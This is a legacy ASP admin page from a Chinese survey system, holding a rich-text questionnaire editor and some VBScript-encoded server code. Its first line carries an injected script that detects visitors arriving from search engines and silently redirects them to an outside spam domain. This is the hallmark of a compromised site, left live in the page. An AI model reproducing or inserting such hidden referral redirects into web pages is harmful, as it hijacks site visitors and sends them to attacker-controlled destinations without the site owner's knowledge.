d:\wwwroot\wuchunhua\admin\投票\survey\editpage_step4.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><%@ LANGUAGE = VBScript.Encode %>
002: <!--#include file="../share/checklogin.asp" -->
003: <%#@~^KQAAAA==@#@&NrsPalY4V-+^~d{bN@#@&alY4s+7+V{E RJJ6QsAAA==^#~@%>
004: <!--#include file="../database/conn.asp" -->
005: <!--#include file="../share/function.asp" -->
006: <%#@~^PwAAAA==@#@&/mbN{kxD`Mn;!+dYvJdmbNJ*b@#@&ml^s~m4+13;/n.kE.\z`k{r[*@#@&ERMAAA==^#~@%>
007: <html>
008: <head>
009: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
010: <title>编辑页面</title>
011: <link href="../css/c1.css" rel="stylesheet" type="text/css">
012: <style>
013: td,a,p,input,select {font-size:9pt;font-face:menu};
014:
015: .Up{
016: border-left: 1Px solid rgb(233,244,249);
017: border-right: 1px solid rgb(12,12,12);
018: border-bottom: 1px solid rgb(12,12,12);
019: border-top: 1px solid rgb(233,244,249);
020: cursor:hand;
021: }
022: .Down
023: { border-right: 1Px solid rgb(233,244,249);
024: border-left: 1px solid rgb(12,12,12);
025: border-top: 1px solid rgb(12,12,12);
026: border-bottom: 1px solid rgb(233,244,249);
027: cursor:hand;
028: }
029: .None{
030:    cursor:hand;
031:    border: 1px solid #C8E0FB;
032: }
033: .style1 {font-weight: bold}
034: </style>
035:
036: <script language="JavaScript">
037: function submitedit()
038: {
039: if(window.confirm("确定要提交吗?\n提交后即表示此问卷的编辑完成\n这将是个不可逆的操作!\n\n提交后:\n将不可编辑问卷题目\n将不能编辑问卷页面"))
040: {
041: document.myform.memo.value=Editor.document.body.innerHTML;
042: return true
043: }
044: else
045: {
046: return false
047: }
048: }
049:
050: var Format = "Normal";
051: var initHTML = "";
052: var CssFile="";
053: var edit;
054: var RangeType;
055: var CssFile="";
056: var returnValue="";
057: function setFocus() {
058:    Editor.focus();
059: }
060:
061: function fixSize()
062: {
063: document.all.Editor.style.height = Math.max(document.body.clientHeight - document.all.Editor.offsetTop, 0);
064: }
065:
066: function selectRange(){
067:    edit = Editor.document.selection.createRange();
068:    RangeType = Editor.document.selection.type;
069: }
070:
071: function execCommand(command,para) {  
072:    if (Format == "Normal"){
073:       setFocus();
074:       selectRange();  
075:       if ((command == "Undo") || (command == "Redo"))
076:          document.execCommand(command);
077:       else
078:         if (para=="")            
079:          edit.execCommand(command);
080:         else
081:            edit.execCommand(command, false, arguments[1]);
082:       Editor.focus();
083:       if (RangeType != "Control") edit.select();
084:    }  
085: }
086:
087: function swapModes(Mode) {  
088:    switch(Mode){
089:       case "Normal":
090:          if (Format == "Html")
091:             Editor.document.body.innerHTML = Editor.document.body.innerText;
092:          else
093:           {
094:             initHTML = Editor.document.body.innerHTML;
095:             initEditor("On");
096:           }
097:          break;  
098:       case "Html":
099:          if (Format == "Preview"){
100:             initHTML = Editor.document.body.innerHTML;
101:             initEditor("On");
102:          }  
103:          Editor.document.body.innerText = Editor.document.body.innerHTML;
104:          break;
105:       default:
106:          var strHTML = "";
107:          if(Format == "Html")
108:             initHTML = Editor.document.body.innerText;
109:          else
110:             initHTML = Editor.document.body.innerHTML;            
111:          initEditor("Off");
112:          break;
113:    }
114:    Editor.focus();
115:     Format=Mode;
116: }
117:
118: function pasteMark(Mark)
119: {
120:    var strHTML;
121:    if (Mark=='') return(0);
122:    setFocus();
123:    selectRange();  
124:    var t=Mark.split(" ");
125:    if (Mark=="hr")
126:       strHTML="<hr>"
127:    else
128:       strHTML = "<" + Mark + ">" + edit.text + "</" + t[0] + ">";
129:    if (Format == "Normal")
130:         edit.pasteHTML(strHTML);
131:    else
132:         edit.text=strHTML;
133:    Editor.focus();
134:    edit.select();        
135: }
136:
137: function pasteHTML(HTML)
138: {
139:    setFocus();
140:    selectRange();  
141:    if (Format == "Normal")
142:         edit.pasteHTML(HTML);
143:    else
144:         edit.text=HTML;
145:    Editor.focus();
146:    edit.select();        
147: }
148:
149: function initEditor(Model) {
150:    Editor.document.designMode=Model;
151:    Editor.document.open();
152:    Editor.document.write(initHTML);
153:    Editor.document.close();
154:    initHTML = "";
155:    if(CssFile!="")
156:       Editor.document.createStyleSheet(CssFile);
157:    Editor.document.body.style.fontFamily = "";
158:     Editor.document.body.style.fontSize ="";
159: }
160:
161:
162: function Check(t,n)
163: {
164: if(n==1)  t.className ="Up"
165: else
166:   if(n==2)    t.className ="Down"
167:   else       t.className ="None"
168: }
169:
170:   
171:   
172: function CheckOS()
173: {      
174:    if((window.navigator.userAgent.indexOf("IE 5") < 1) && (window.navigator.userAgent.indexOf("IE 6") < 1)) {
175:     alert("请使用Microsoft Internet Explorer 5.0\n或更高版本的浏览器!");
176:     window.close();
177:    }
178: }
179:
180: function SelectFormat(Status)
181: {
182:   swapModes(Status);
183:   switch(Status)
184:     { case "Normal":
185:           
186:            break;
187:       case "Html":
188:            break;
189:           
190:       default:
191:
192:          break;
193:    }
194:   return(false);
195: }
196:
197: function showHelp()
198: {  
199:    showModalDialog("help.htm","","dialogWidth:350px;dialogHeight:250px;status:no;");
200: }
201:
202: function addTable()
203: {  if(Format!="Preview")
204:     { ReturnValue=window.showModalDialog("AddTable.htm","","dialogWidth=410px;dialogHeight=160px;status=0");
205:      if(ReturnValue && ReturnValue!="") pasteHTML(ReturnValue);
206:     }
207: }
208:
209:
210:
211: function doFormat(what,para,Mark) {
212:    if(Format!="Preview")
213:       if (Format=='Normal')
214:          execCommand(what,para);
215:       else
216:          pasteMark(Mark);  
217: }
218:
219: function doSelectClick(str,el,Mark) {
220:     if(Format!="Preview")
221:     {
222:      var Index = el.selectedIndex;
223:     if (Index != 0)
224:     {   el.selectedIndex = 0;
225:        if (Format=='Normal' && el.id != "OtherFormat")
226:           doFormat(str,el.options[Index].value);
227:       else
228:           pasteMark(Mark);
229:      }
230:     }
231: }
232:
233: function SelectColor(id)
234: {
235: var c=window.showModalDialog("SelectColor.htm",id.style.backgroundColor,"dialogWidth=420px;dialogHeight=340px;status=0");
236:    if(c && c!="")
237:     id.style.backgroundColor=c;
238:   
239: }
240:
241: function submited()
242: {
243: if(window.confirm("确定要删除此题目吗?"))
244: {
245:
246:    mystring="additem_step2.asp?s_id="+s_id+"&action=del"+"&i_id="+i_id
247:    setTimeout('location.href=mystring',1);
248:    form1.action="additem_step2.asp?s_id="+s_id+"&action=del"+"&i_id="+i_id
249:    form1.target="_self"
250:    form1.submit()
251: }
252: }
253:
254:
255: </script>
256: <body onload="Editor.document.designMode='on';CheckOS()">
257: <!--#include file="top.asp" -->
258: <table width="100%"  border="0" cellpadding="0" cellspacing="0" bgcolor="#0066CC">
259:
260:   <tr>
261:     <td valign="top" bgcolor="#FFFFFF"><table width="100%"  border="0" cellspacing="0" cellpadding="5">
262:       <tr>
263:         <td height="25" bgcolor="#FFFFFF" class="redfont"><strong>注意:</strong></td>
264:       </tr>
265:       <tr>
266:         <td>本步操作不可逆,请确认所有问题及选项已设置完后再进入本步操作。
267:           <hr noshade size="2" color="#CCCCCC">
268:         
269:           </td>
270:       </tr>
271:       <tr>
272:         <td class="redfont"><strong><strong>提示</strong>:</strong></td>
273:       </tr>
274:       <tr>
275:         <td><span class="imagefont">4</span>可将页面在其它编辑器如Word、Dreamweaver、FrontPage将页面编辑好后再粘贴到这里<br>
276:           <span class="imagefont">4</span>按住Shift回车等于按行</td>
277:       </tr>
278:     </table></td>
279:     <td width="81%" valign="top" bgcolor="#C8E0FB">      <table width="100%"  border="0" align="center" cellpadding="0" cellspacing="0">
280:         <tr>
281:           <td height="5" colspan="2"></td>
282:         </tr>
283:         <tr>
284:           <td width="53%" class="style3"><table cellSpacing="0" cellPadding="0" WIDTH=400>
285:             <tr align=middle>
286:               <td  class=None onmousedown=Check(this,2) onmouseover="Check(this,1)" onmouseout="Check(this,0)" onmouseup="Check(this,1)" title="粗体"  onclick="doFormat('Bold','','b')"><IMG src="images/ButtonImage/bold.gif" width="20" height="20"></td>
287:               <td  class=None onmousedown=Check(this,2) onmouseover="Check(this,1)" onmouseout="Check(this,0)" onmouseup="Check(this,1)" title="斜体"  onclick="doFormat('Italic','','i')"><IMG src="images/ButtonImage/italic.gif" width="20" height="20"></td>
288:               <td  class=None onmousedown=Check(this,2) onmouseover="Check(this,1)" onmouseout="Check(this,0)" onmouseup="Check(this,1)" title="下划线"  
289:           onclick="doFormat('Underline','','u')"><IMG src="images/ButtonImage/underline.gif" width="20" height="20"></td>
290:               <td width="4">&nbsp;</td>
291:               <td  class=None onmousedown=Check(this,2) onmouseover="Check(this,1)" onmouseout="Check(this,0)" onmouseup="Check(this,1)" title="撤销"  onclick="doFormat('Undo','','')"><IMG src="images/ButtonImage/undo.gif" width="20" height="20"></td>
292:               <td  class=None onmousedown=Check(this,2) onmouseover="Check(this,1)" onmouseout="Check(this,0)" onmouseup="Check(this,1)" title="恢复"  onclick="doFormat('Redo','','')"><IMG src="images/ButtonImage/redo.gif" width="20" height="20"></td>
293:               <td width="4">&nbsp;</td>
294:               <td  class=None onmousedown=Check(this,2) onmouseover="Check(this,1)" onmouseout="Check(this,0)" onmouseup="Check(this,1)" title="左对齐"  
295:           onclick="doFormat('JustifyLeft','','p align=left')"
296:          ><IMG src="images/ButtonImage/justifyleft.gif" width="20" height="20"></td>
297:               <td  class=None onmousedown=Check(this,2) onmouseover="Check(this,1)" onmouseout="Check(this,0)" onmouseup="Check(this,1)" title="居中"  
298:           onclick="doFormat('JustifyCenter','','p align=center')"
299:          ><IMG src="images/ButtonImage/justifycenter.gif" width="20" height="20"></td>
300:               <td  class=None onmousedown=Check(this,2) onmouseover="Check(this,1)" onmouseout="Check(this,0)" onmouseup="Check(this,1)" title="右对齐"  
301:           onclick="doFormat('JustifyRight','','p align=right')"
302:          ><IMG src="images/ButtonImage/justifyright.gif" width="20" height="20"></td>
303:               <td width="4">&nbsp;</td>
304:               <td  class=None onmousedown=Check(this,2) onmouseover="Check(this,1)" onmouseout="Check(this,0)" onmouseup="Check(this,1)" title="剪切" onclick="doFormat('Cut','','')"><IMG src="images/ButtonImage/cut.gif" width="20" height="20"></td>
305:               <td  class=None onmousedown=Check(this,2) onmouseover="Check(this,1)" onmouseout="Check(this,0)" onmouseup="Check(this,1)" title="复制"  onclick="doFormat('Copy','','')"><IMG src="images/ButtonImage/copy.gif" width="20" height="20"></td>
306:               <td  class=None onmousedown=Check(this,2) onmouseover="Check(this,1)" onmouseout="Check(this,0)" onmouseup="Check(this,1)" title="粘贴"  onclick="doFormat('Paste','','')"><IMG src="images/ButtonImage/paste.gif" width="20" height="20"></td>
307:               <td  class=None onmousedown=Check(this,2) onmouseover="Check(this,1)" onmouseout="Check(this,0)" onmouseup="Check(this,1)" title="删除" onclick="doFormat('Delete','','')"><IMG src="../Survey/images/ButtonImage/delete.gif" width="20" height="20"></td>
308:               <td width="4">&nbsp;</td>
309:               <td  class=None onmousedown=Check(this,2) onmouseover="Check(this,1)" onmouseout="Check(this,0)" onmouseup="Check(this,1)" title="插入链结" onclick="doFormat('CreateLink','','')"><IMG src="../Survey/images/ButtonImage/createlink.gif" width="20" height="20"></td>
310:               <td  class=None onmousedown=Check(this,2) onmouseover="Check(this,1)" onmouseout="Check(this,0)" onmouseup="Check(this,1)" title="插入表格"  onclick="addTable()"><IMG src="../Survey/images/ButtonImage/tableinsert.gif" width="20" height="20"></td>
311:               <td width="4">&nbsp;</td>
312:               <td  class=None onmousedown=Check(this,2) onmouseover="Check(this,1)" onmouseout="Check(this,0)" onmouseup="Check(this,1)" title="背景颜色" onclick="doFormat('BackColor',bkcolorimg.style.backgroundColor+'','font style=BACKGROUND-COLOR:'+bkcolorimg.style.backgroundColor)" width="18"><IMG id=bkcolorimg style="BACKGROUND-COLOR: #ffffff" src="../Survey/images/ButtonImage/bgcolor.gif" width="20" height="20"></td>
313:               <td  class=None onmousedown=Check(this,2) onmouseover="Check(this,1)" onmouseout="Check(this,0)" onmouseup="Check(this,1)" title="选择背景颜色"
314:                   style="FONT-WEIGHT: normal; FONT-SIZE: 5pt" onclick="SelectColor(bkcolorimg)" width="7"
315:                   >▼</td>
316:               <td  class=None onmousedown=Check(this,2) onmouseover="Check(this,1)" onmouseout="Check(this,0)" onmouseup="Check(this,1)" title="字体颜色" onclick="doFormat('ForeColor',colorimg.style.backgroundColor+'','font color='+colorimg.style.backgroundColor)" width="18"><IMG id=colorimg style="BACKGROUND-COLOR: #000000" src="../Survey/images/ButtonImage/forecolor.gif" width="20" height="20"></td>
317:               <td  class=None onmousedown=Check(this,2) onmouseover="Check(this,1)" onmouseout="Check(this,0)" onmouseup="Check(this,1)" title="选择字体颜色" style="FONT-WEIGHT: normal; FONT-SIZE: 5pt; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-VARIANT: normal" onclick="SelectColor(colorimg)" width="7">▼</td>
318:               </tr>
319:           </table>
320:           </td>
321:           <td width="47%" class="style3"><table cellSpacing="0" cellPadding="0" width="331">
322:             <tr align=middle>
323:               <td width="60"><select id="select1" style="width: 60; height: 20" onchange="doSelectClick('FormatBlock',this,this.value);this.returnValue=false;" name="select1" size="1">
324:                   <option selected value="">(标题)</option>
325:                   <option value="PRE">Pre
326:                     <option value="H1">H1
327:                     <option value="H2">H2
328:                     <option value="H3">H3
329:                     <option value="H4">H4
330:                     <option value="H5">H5
331:                     <option value="H6">H6
332:                     <option value="H7">H7
333:                     </select></td>
334:               <td  width="80"><select style="width: 80; height: 20"
335:                  onchange="doSelectClick('FontName',this,'font face=&quot'+this.value+'&quot')"
336:                  name="selectFontName"
337:                  size="1">
338:                   <option selected>(字体)</option>
339:                   <option value="Arial">Arial</option>
340:                   <option value="Arial Black">Arial Black</option>
341:                   <option value="Arial Narrow">Arial Narrow</option>
342:                   <option value="MS Outlook">MS Outlook</option>
343:                   <option value="宋体">宋体
344:                     <option value="楷体_GB2312">楷体
345:                     <option value="隶书">隶书
346:                     <option value="黑体">黑体
347:                     <option value="仿宋_GB2312">仿宋</option>
348:               </select></td>
349:               <td width="60"><select style="width: 60; height: 20" onchange="doSelectClick('FontSize',this,'font size='+this.value);" name="selectFontSize" size="1">
350:                   <option selected>(大小)</option>
351:                   <option value="1">1
352:                     <option value="2">2
353:                     <option value="3">3
354:                     <option value="4">4
355:                     <option value="5">5
356:                     <option value="6">6
357:                     <option value="7">7</option>
358:               </select></td>
359:               <td width="80"><select id="OtherFormat"
360:                 style="width: 75; height: 20" onchange="doSelectClick('FormatBlock',this,this.value);this.returnValue=false;" size="1" name="selectFoontFormat">
361:                   <option selected>(格式)</option>
362:                   <option value="SUP">上标
363:                     <option value="SUB">下标
364:                     <option value="DEL">删除线
365:                     <option value="BIG">增大字体
366:                     <option value="SMALL">减小字体</option>
367:                 </select>
368:               </td>
369:               <td  width="4">&nbsp;</td>
370:               <td  class=None title="减小缩进" onclick="doFormat('Outdent','','')" onmousedown=Check(this,2) onmouseup="Check(this,1)" onmouseover="Check(this,1)" onmouseout="Check(this,0)"><IMG src="../Survey/images/ButtonImage/inserthorizontalrule.gif" width="20" height="20"></td>
371:               <td  width="4">&nbsp;</td>
372:               <td  class=None   onmousedown=Check(this,2) onmouseover="Check(this,1)" onmouseout="Check(this,0)" onmouseup="Check(this,1)" title="去除格式"  
373:           onclick="doFormat('RemoveFormat','','')" width="16"><IMG src="../Survey/images/ButtonImage/removeformat.gif" width="20" height="20"></td>
374:             </tr>
375:           </table></td>
376:         </tr>
377:         <tr>
378:           <td colspan="2">
379: <form action="createfilefinish_step4.asp" method="post" name="myform" id="myform"  onSubmit="return submitedit()">
380: <iframe  id="Editor" Name="Editor"  width=100% height=400 marginwidth=10 marginheight=10 frameborder=1 src="src.asp?s_id=<%=#@~^BAAAAA==d|k[nwEAAA==^#~@%>">
381: </iframe>
382: <input type="button" name="Submit1" value="预缆模式"  onclick="return(SelectFormat('Preview'));" >
383: <input id="normal" type="button" name="Submit2" value="设计模式"  onclick="return(SelectFormat('Normal'));" >
384: <input type="submit" name="Submit3" value="创建HTML文件">
385: <textarea name="memo" style="display:none" value=""></textarea>
386: <input name="s_id" type="hidden" value="<%=#@~^BAAAAA==d|k[nwEAAA==^#~@%>">
387: </form>  
388:         </td>
389:         </tr>
390:       </table>
391:     </td>
392:   </tr>
393: </table>
394: <!--#include file="bottom.htm" -->
395: </body>
396: </html>
397:
398:
399: